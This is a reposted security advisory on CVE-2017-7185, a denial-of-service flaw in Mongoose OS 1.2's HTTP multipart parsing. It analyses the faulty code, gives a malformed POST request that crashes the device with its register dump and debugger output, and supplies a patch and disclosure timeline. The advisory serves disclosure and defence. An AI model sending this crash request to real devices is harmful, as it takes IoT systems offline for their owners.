Lucene search

K
packetstormPhilipp PromeuschelPACKETSTORM:142021
HistoryApr 03, 2017 - 12:00 a.m.

Mongoose OS 1.2 Use-After-Free / Denial Of Service

2017-04-0300:00:00
Philipp Promeuschel
packetstormsecurity.com
35

0.025 Low

EPSS

Percentile

90.2%

`#############################################################  
#  
# COMPASS SECURITY ADVISORY  
# https://www.compass-security.com/en/research/advisories/  
#  
#############################################################  
#  
# Product: Mongoose OS  
# Vendor: Cesanta  
# CVE ID: CVE-2017-7185  
# CSNC ID: CSNC-2017-003  
# Subject: Use-after-free / Denial of Service  
# Risk: Medium  
# Effect: Remotely exploitable  
# Authors:  
# Philipp Promeuschel <[email protected]>  
# Carel van Rooyen <[email protected]>  
# Stephan Sekula <[email protected]>  
# Date: 2017-04-03  
#  
#############################################################  
  
Introduction:  
-------------  
Cesanta's Mongoose OS [1] - an open source operating system for the Internet of Things. Supported micro controllers:  
* ESP32  
* ESP8266  
* STM32  
* TI CC3200  
  
Additionally, Amazon AWS IoT is integrated for Cloud connectivity. Developers can write applications in C or JavaScript (the latter by using the v7 component of Mongoose OS).  
  
Affected versions:  
---------  
Vulnerable:  
* <= Release 1.2  
Not vulnerable:  
* Patched in current dev / master branch  
Not tested:  
* N/A  
  
Technical Description  
---------------------  
The handling of HTTP-Multipart boundary [3] headers does not properly close connections when malformed requests are sent to the Mongoose server.  
This leads to a use-after-free/null-pointer-de-reference vulnerability, causing the Mongoose HTTP server to crash. As a result, the entire system is rendered unusable.  
  
  
The mg_parse_multipart [2] function performs proper checks for empty boundaries, but, since the flag "MG_F_CLOSE_IMMEDIATELY" does not have any effect, mg_http_multipart_continue() is called:  
--------------->8---------------  
void mg_http_handler(struct mg_connection *nc, int ev, void *ev_data) {  
[CUT BY COMPASS]  
#if MG_ENABLE_HTTP_STREAMING_MULTIPART  
if (req_len > 0 && (s = mg_get_http_header(hm, "Content-Type")) != NULL &&  
s->len >= 9 && strncmp(s->p, "multipart", 9) == 0) {  
mg_http_multipart_begin(nc, hm, req_len); // properly checks for empty boundary  
// however, the socket is not closed, and mg_http_multipart_continue() is executed  
mg_http_multipart_continue(nc);  
return;  
}  
---------------8<---------------  
In the mg_http_multipart_begin function, the boundary is correctly verified:  
--------------->8---------------  
boundary_len =  
mg_http_parse_header(ct, "boundary", boundary, sizeof(boundary));  
  
if (boundary_len == 0) {  
/*  
* Content type is multipart, but there is no boundary,  
* probably malformed request  
*/  
nc->flags = MG_F_CLOSE_IMMEDIATELY;  
DBG(("invalid request"));  
goto exit_mp;  
}  
---------------8<---------------  
However, the socket is not closed (even though the flag "MG_F_CLOSE_IMMEDIATELY" has been set), and mg_http_multipart_continue is executed.  
In mg_http_multipart_continue(), the method mg_http_multipart_wait_for_boundary() is executed:  
---------------8<---------------  
static void mg_http_multipart_continue(struct mg_connection *c) {  
struct mg_http_proto_data *pd = mg_http_get_proto_data(c);  
while (1) {  
switch (pd->mp_stream.state) {  
case MPS_BEGIN: {  
pd->mp_stream.state = MPS_WAITING_FOR_BOUNDARY;  
break;  
}  
case MPS_WAITING_FOR_BOUNDARY: {  
if (mg_http_multipart_wait_for_boundary(c) == 0) {  
return;  
}  
break;  
}  
--------------->8---------------  
Then, mg_http_multipart_wait_for_boundary() tries to identify the boundary-string. However, this string has never been initialized, which causes c_strnstr to crash.  
---------------8<---------------  
static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) {  
const char *boundary;  
struct mbuf *io = &c->recv_mbuf;  
struct mg_http_proto_data *pd = mg_http_get_proto_data(c);  
  
if ((int) io->len < pd->mp_stream.boundary_len + 2) {  
return 0;  
}  
  
boundary = c_strnstr(io->buf, pd->mp_stream.boundary, io->len);  
if (boundary != NULL) {  
[CUT BY COMPASS]  
--------------->8---------------  
  
  
Steps to reproduce  
-----------------  
Request to HTTP server (code running on hardware device):  
---------------8<---------------  
POST / HTTP/1.1  
Connection: keep-alive  
Content-Type: multipart/form-data;  
Content-Length: 1  
1  
--------------->8---------------  
The above request results in a stack trace on the mongoose console:  
---------------8<---------------  
Guru Meditation Error of type LoadProhibited occurred on core 0. Exception was unhandled.  
Register dump:  
PC : 0x400014fd PS : 0x00060330 A0 : 0x801114b4 A1 : 0x3ffbfcf0   
A2 : 0x00000000 A3 : 0xfffffffc A4 : 0x000000ff A5 : 0x0000ff00   
A6 : 0x00ff0000 A7 : 0xff000000 A8 : 0x00000000 A9 : 0x00000085   
A10 : 0xcccccccc A11 : 0x0ccccccc A12 : 0x00000001 A13 : 0x00000000   
A14 : 0x00000037 A15 : 0x3ffbb3cc SAR : 0x0000000f EXCCAUSE: 0x0000001c   
EXCVADDR: 0x00000000 LBEG : 0x400014fd LEND : 0x4000150d LCOUNT : 0xffffffff   
  
Backtrace: 0x400014fd:0x3ffbfcf0 0x401114b4:0x3ffbfd00 0x401136cc:0x3ffbfd30 0x401149ac:0x3ffbfe30 0x40114b71:0x3ffbff00 0x40112b80:0x3ffc00a0 0x40112dc6:0x3ffc00d0 0x40113295:0x3ffc0100 0x4011361a:0x3ffc0170 0x40111716:0x3ffc01d0 0x40103b8f:0x3ffc01f0 0x40105099:0x3ffc0210  
--------------->8---------------  
  
  
Further debugging shows that an uninitialized string has indeed been passed to c_strnstr:  
---------------8<---------------  
(gdb) info symbol 0x401114b4  
c_strnstr + 12 in section .flash.text  
(gdb) list *0x401114b4  
0x401114b4 is in c_strnstr (/mongoose-os/mongoose/mongoose.c:1720).  
warning: Source file is more recent than executable.  
1715 }  
1716 #endif /* _WIN32 */  
1717   
1718 /* The simplest O(mn) algorithm. Better implementation are GPLed */  
1719 const char *c_strnstr(const char *s, const char *find, size_t slen) WEAK;  
1720 const char *c_strnstr(const char *s, const char *find, size_t slen) {  
1721 size_t find_length = strlen(find);  
1722 size_t i;  
1723   
1724 for (i = 0; i < slen; i++) {  
(gdb) list *0x401136cc  
0x401136cc is in mg_http_multipart_continue (/mongoose-os/mongoose/mongoose.c:5893).  
5888 mg_http_free_proto_data_mp_stream(&pd->mp_stream);  
5889 pd->mp_stream.state = MPS_FINISHED;  
5890   
5891 return 1;  
5892 }  
5893   
5894 static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) {  
5895 const char *boundary;  
5896 struct mbuf *io = &c->recv_mbuf;  
5897 struct mg_http_proto_data *pd = mg_http_get_proto_data(c);  
(gdb)  
--------------->8---------------  
  
Workaround / Fix:  
-----------------  
Apply the following (tested and confirmed) patch:  
---------------8<---------------  
$ diff --git a/mongoose/mongoose.c b/mongoose/mongoose.c  
index 91dc8b9..063f8c6 100644  
--- a/mongoose/mongoose.c  
+++ b/mongoose/mongoose.c  
@@ -5889,6 +5889,12 @@ static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) {  
return 0;  
}  
  
+ if(pd->mp_stream.boundary == NULL){  
+ pd->mp_stream.state = MPS_FINALIZE;  
+ LOG(LL_INFO, ("invalid request: boundary not initialized"));  
+ return 0;  
+ }  
+  
boundary = c_strnstr(io->buf, pd->mp_stream.boundary, io->len);  
if (boundary != NULL) {  
const char *boundary_end = (boundary + pd->mp_stream.boundary_len);  
--------------->8---------------  
The patch has been merged into Mongoose OS on github.com on 2017-04-03 [4]  
  
Timeline:  
---------  
2017-04-03: Coordinated public disclosure date  
2017-04-03: Release of patch  
2017-03-20: Initial vendor response, code usage sign-off  
2017-03-19: Initial vendor notification  
2017-03-19: Assigned CVE-2017-7185  
2017-03-11: Confirmation and patching Philipp Promeuschel, Carel van Rooyen  
2017-03-08: Initial inspection Philipp Promeuschel, Carel van Rooyen  
2017-03-08: Discovery by Philipp Promeuschel  
  
References:  
-----------  
[1] https://www.cesanta.com/  
[2] https://github.com/cesanta/mongoose/blob/66a96410d4336c312de32b1cf5db954aab9ee2ec/mongoose.c#L7760  
[3] http://www.ietf.org/rfc/rfc2046.txt  
[4] https://github.com/cesanta/mongoose-os/commit/042eb437973a202d00589b13d628181c6de5cf5b  
`

0.025 Low

EPSS

Percentile

90.2%